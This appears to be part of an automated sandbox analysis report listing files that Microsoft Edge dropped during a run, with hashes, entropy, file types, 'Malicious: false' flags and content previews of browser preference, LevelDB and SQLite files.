Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375854979874031","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375854979874031","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\27ae1031-e137-4fd4-8bdf-891360a9f509.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17511), with no line terminators
Category:	dropped
Size (bytes):	17513
Entropy (8bit):	5.475068220477849
Encrypted:	false
SSDEEP:	384:stmPGKSu4KsWofhhSkutCjnsbGcQwu6WplaTYz:sMOxu3ofq3bGb9raTYz
MD5:	6B510C1379CC84F7A7B072128414064D
SHA1:	4434233B8EF2939D9AF365C63A0B449AA961CAFC
SHA-256:	4B77209941C02C9689A73517EABF390D04C9F1DFB4C93EFD6120D068C82AE404
SHA-512:	7F1911F91855469A09D993B8A44BCA772038B00BCD0CFA8C7FB676C0615038A9BDDA5B0E7BF288189FCFF86496D84CEF07FCF3168D233831516FB4DB06CD71DD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2ade39e2-56e6-46a2-830c-ebdb7b4e00b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17467), with no line terminators
Category:	dropped
Size (bytes):	17469
Entropy (8bit):	5.476713087407684
Encrypted:	false
SSDEEP:	384:stmPGKSu4Ks4ofhhSkutCjnsbGcQwu6WplaTYz:sMOxulofq3bGb9raTYz
MD5:	4982BD95DDB2455853B69F53CAE88DE3
SHA1:	65544740EADA18DA59CBB5824B9D88F32DEDAA07
SHA-256:	B8D35CF509E4F43DB6CDD82AE61F0D1D627B27366AFEAFEAB3C8C09FF5C2BCF3
SHA-512:	55CD3124223F4FB02462C3B3D6700D654EBDD873D9E64BDC1D97E72E4EE7FC514320CC1D61C55FA17743080E6CEF169D9B6CD1EEC6EA4CC0F518FB73B11E148A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\419d9886-bb13-4171-9ca0-6ef37c09b8a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5419e88a-adc0-49ff-ae13-35268356226b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\58232a9a-8a15-4a24-80b0-1483155d0606.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577580504446019
Encrypted:	false
SSDEEP:	768:1RwRA6WP9Bf2R8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCNJ7aQ3rwa7pWtum:1RwRA6WP9Bf2Ru1jabNJWQkJtJ
MD5:	0B864E551D68D7B9F75C4D401D6BEBF7
SHA1:	393E3043482C06DA686C989C4456CED694AC3E31
SHA-256:	F778FEB7E044222FF32E2040CFD45AA4EF3A0214DD33EEC3A905A4A62A88233E
SHA-512:	766E7C90D17506DBAB36B836497AE94C7F370D66F3D581A4B104B0FCA5AA79166CFF3E769AC52D32B3D2A31DC50D971B9E2422F4B3DC88B0373FA49EF82671B2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375854979874031","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375854979874031","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6bb416aa-b70b-42ee-8fe5-9998a07a4818.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\83b169d2-2a6a-47b5-8dd5-f029f424e486.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	5.138993295948156
Encrypted:	false
SSDEEP:	192:stmkdpKs4osZihUk2sxAe1eK8QbV+FM7QwD66WLaFIMYIPxYJ:stmQKs4ofhEuRbGcQwu6WLaTYz
MD5:	07E8405ADAD9CE68D0D1901C3F5E1871
SHA1:	9F270C6540D8DF3B8522168F5AAD03DC135D237C
SHA-256:	81EB15BCC9D9EDBA061249A576710E87849AEEBF6FEDFD6721A94C3E104BA30A
SHA-512:	735A46FAF1C3BF4E68486A1180820774600BE5202630800BD3C374B5BA507EDB03D05327E361137F6296A42FEAF0E7D4B85D53B50CD0B8D47A73E89BDCA03413
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.218875209357374
Encrypted:	false
SSDEEP:	6:HUx7B1923oH+Tcwtp3hBtB2KLlVUxydSq2P923oH+Tcwtp3hBWsIFUv:NYebp3dFLRSv4Yebp3eFUv
MD5:	7DCFD462E3C7D679950E625177DE7310
SHA1:	A0F5CC5B793CB78D9CC06D272A6D840709E76DB5
SHA-256:	078212BB28D2F4A092C729BBB527B3A5FF6EBDBCF24BB1C4A7F840274BD8BB1D
SHA-512:	772EB3E31EDE901502F27C50DD294540B8688B3FDCB5F106DC40BD0B2192DE434049FEDCABBF8FB123539948AEE4C238108E1A6D39C28789625A57B085215D39
Malicious:	false
Preview:	2024/11/11-22:16:25.026 1eb0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/11-22:16:25.379 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	739857
Entropy (8bit):	7.21234261599741
Encrypted:	false
SSDEEP:	12288:gq1f5g+/pask721JH7SgyIhkNEqeyZ/CSCqEzz5SaOPrHc/0:P5gypaskWt7SgyfNEq1Z/jvQzEaA20
MD5:	F5F46CE971D317D020A4A5497875629A
SHA1:	F3891CF06188D64153CB616F09C0B834E94B20CE
SHA-256:	17BDDC86E0A00360C4293B0F34232E6A8C343204E31ED90CB38312198D509BB2
SHA-512:	B5702EA2BC2273E2A9EED4457F959484A4721103AE0DA7737EFD1E15E9925A7A358CD2F0CDBE7771D60A2B420ED686DCC2C4DED739B329B5C1184D70D7B2D3B2
Malicious:	false
Preview:	....^.'..ASSET:addressbar_uu_files.en-gb........{. "0123movies.com": "{\"Tier1\": [983, 6061], \...2..L4948, 1106, 9972]}",.QL1020398.app.netsuiteR[.@6061, 8405, 5938]6b..228, 236.Z.337x.toB...J.983:C.86657, 475, 4068.JX2cvresearch.decipherincR....:X. 379, 6101.R<3817341.extforms....774..L3cx.integrafin.co.ukB.....,N.. 2863, 539...4540582....[:..1.., 6..P7589.directpaper.nameR..:Q.9I`7a201srvitportl.cymru.nhsN..:F..9870.J.03cjsvmifitla1vJ.AC:N..109]..7.N.livwebbvN..1a.JS...., 9813.. 8ballpoolV~. 741, 3907.8>...9151, 57E..91]5 9anime.gsB~.F'.,574, 485, 76....D.pl.D..?., 160=..EJ..:o....166V...gagR ..3939..>..<378, 44, 1780, 1....8a.leaguerepubliV..)u!.:...676, 899...aad.A..al.azur~..:Q..53...23.. 915, 8133...2}..aat.rm...isR..:W..223...42].Dabc-enviro.tascomiRJ..884>...40!N$4662, 5849=N4bdn.blackboardRQ..7670....:...80..$1240, 3047.].Terdeenshire.sharepointRf..5938.f.214Be..0...30}~.abmwapv..R..!..7662[..mwczK..14>.......cacd...mBt.J...117...(cademic.oupR..)..834AbF...246e)..!..q...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222873273308023
Encrypted:	false
SSDEEP:	24576:v+/PN8FxfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8nfx2mjF
MD5:	C0184F3EC1F8FB0D3FF9CE48058608C2
SHA1:	991AF49E909A4B0978610E8B0029ADA692CFEB6D
SHA-256:	B64998C01C4067B3BC6B0973CBDD9B2EB0B978ECB7A30A36AA4D4189EED47922
SHA-512:	71E147633A168C66698E4D60DDDB2216FC86811C55E73F2F7F7B90494AFB227051D916DF4F12BCC4DE81CFC5598FAF4C02B1E73D0E90BCE1BEB46EB487C3190E
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	387
Entropy (8bit):	5.596612449184528
Encrypted:	false
SSDEEP:	6:o//1g7Xzwk8Fuu3g3nwk8RL6GzwkpoXrDVvskoafRUjGSIpO6gpXj8VW3AnY4n:o/do8Pg18tDivx5/e9IM6NW3AVn
MD5:	985AB6C77556203D929E0780A409EC17
SHA1:	2E57B68CEF93C889E23CBE23D9080049336E2AAA
SHA-256:	ACC71FFBBA474BA0DD1824376361504813FD3EDA235A9D7F15F1B62570698504
SHA-512:	B7E1434D8FC8C76894737C51CECE372FBC98279DE16190918D2B29FC2B7931BEFDC34F7DE6BF3BA0CB17AE0341AED28154F7A47C4A384723A489075ACF5F5203
Malicious:	false
Preview:	..j.\|................QUERY_TIMESTAMP:addressbar_uu_files.en-gb1...13375855167799743.$QUERY:addressbar_uu_files.en-gb1....[{"name":"addressbar_uu_files.en-gb","url":"https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=AddressBar","version":{"major":1,"minor":0,"patch":2},"hash":"Z0h6vxfeYITPbRF/BVHpLTuo3HCwjRfTaFYDRReZ7yg=","size":403024}]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.132231355516576
Encrypted:	false
SSDEEP:	6:HUxwmN+q2P923oH+Tcwt9Eh1tIFUt8YUxfZZmw+YUxAf0PXUxUfxvKYUxm0VP:xe+v4Yeb9Eh16FUt89/+dnKXh
MD5:	EB3EDECF6558D7E566ADCEA0A64BCE08
SHA1:	C0E2EBD02E8B05E63F47138FC4061B2E6A8DB486
SHA-256:	4B8C134C761104828C7FA14F1835BDA71BFDE0DF69AE4442EFFF1167004BC023
SHA-512:	6F435020C2DAFC1F1A43C844E2F06A069B41EA1C4AD948AF25035C4A35DD89C6B13B497F9E0DAAA263C9FD313AB70149F6341D5B6FB232830BD7AF4132A0BD5A
Malicious:	false
Preview:	2024/11/11-22:19:25.801 162c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-22:19:25.803 162c Recovering log #3.2024/11/11-22:19:25.827 162c Level-0 table #3: started.2024/11/11-22:19:25.870 162c Level-0 table #3: 739857 bytes OK.2024/11/11-22:19:25.876 162c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.132231355516576
Encrypted:	false
SSDEEP:	6:HUxwmN+q2P923oH+Tcwt9Eh1tIFUt8YUxfZZmw+YUxAf0PXUxUfxvKYUxm0VP:xe+v4Yeb9Eh16FUt89/+dnKXh
MD5:	EB3EDECF6558D7E566ADCEA0A64BCE08
SHA1:	C0E2EBD02E8B05E63F47138FC4061B2E6A8DB486
SHA-256:	4B8C134C761104828C7FA14F1835BDA71BFDE0DF69AE4442EFFF1167004BC023
SHA-512:	6F435020C2DAFC1F1A43C844E2F06A069B41EA1C4AD948AF25035C4A35DD89C6B13B497F9E0DAAA263C9FD313AB70149F6341D5B6FB232830BD7AF4132A0BD5A
Malicious:	false
Preview:	2024/11/11-22:19:25.801 162c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-22:19:25.803 162c Recovering log #3.2024/11/11-22:19:25.827 162c Level-0 table #3: started.2024/11/11-22:19:25.870 162c Level-0 table #3: 739857 bytes OK.2024/11/11-22:19:25.876 162c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF635f7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.132231355516576
Encrypted:	false
SSDEEP:	6:HUxwmN+q2P923oH+Tcwt9Eh1tIFUt8YUxfZZmw+YUxAf0PXUxUfxvKYUxm0VP:xe+v4Yeb9Eh16FUt89/+dnKXh
MD5:	EB3EDECF6558D7E566ADCEA0A64BCE08
SHA1:	C0E2EBD02E8B05E63F47138FC4061B2E6A8DB486
SHA-256:	4B8C134C761104828C7FA14F1835BDA71BFDE0DF69AE4442EFFF1167004BC023
SHA-512:	6F435020C2DAFC1F1A43C844E2F06A069B41EA1C4AD948AF25035C4A35DD89C6B13B497F9E0DAAA263C9FD313AB70149F6341D5B6FB232830BD7AF4132A0BD5A
Malicious:	false
Preview:	2024/11/11-22:19:25.801 162c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-22:19:25.803 162c Recovering log #3.2024/11/11-22:19:25.827 162c Level-0 table #3: started.2024/11/11-22:19:25.870 162c Level-0 table #3: 739857 bytes OK.2024/11/11-22:19:25.876 162c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.465592091960299
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjV+nhsn5smszAETD9WLHEm1eaJgW6KC3Lk:scoBY7jcnhMemszwk5ogw5
MD5:	72338E361EC51A732F1A7862986FA239
SHA1:	F5CC1EA2CE2E1CD126AD763038825FB6A49B2B2A
SHA-256:	1B2FCD8B59C232FA1D3776E8257CE7ACA79B1C16F5962EED0D0332FDC75D56C2
SHA-512:	70615BE4458F69293787CAA4BAFB1684BEA4A87797247F7342A8C0A94A0CC7AEF13CA5DCAECADC57EE1269016BE71A7027CEC03F2F3B3767D75795DB1C8F8B73
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......NG.5d...............-'ASSET:addressbar_uu_files.en-gb........-QUERY_TIMESTAMP:signal_triggers1.13.*........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4625731125423574
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuG/M:TouQq3qh7z3bY2LNW9WMcUvBuG/M
MD5:	8FACAEC23AFAB64B7FB285D024A12CC4
SHA1:	A593A0E48659D1E41B4D87BE24E5FA190AA6A6B6
SHA-256:	EFD365A8D84CD4834297034DA2AB8E5A3EE58562F76A3CF0476181D45C2723B3
SHA-512:	74CF07756A110EBA2E908FA9067495C505E84C6ECAD926ADA5B21FC8B8539D04C5FD89FDE5A3A35643D601E5963F9962946D91DFD6BCF800BBF75B9210C5962D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.164764910714035
Encrypted:	false
SSDEEP:	6:HUxZrVq2P923oH+TcwtnG2tMsIFUt8YUxoa2gZmw+YUxoa2IkwO923oH+TcwtnGg:MrVv4Yebn9GFUt80a2g/+0a2I5LYebnB
MD5:	EB86F0BABCC0FFEA3DD0DD5A6E5FEB6D
SHA1:	341318CED8DE3AD671CC1F2D310FBDB18F82FA36
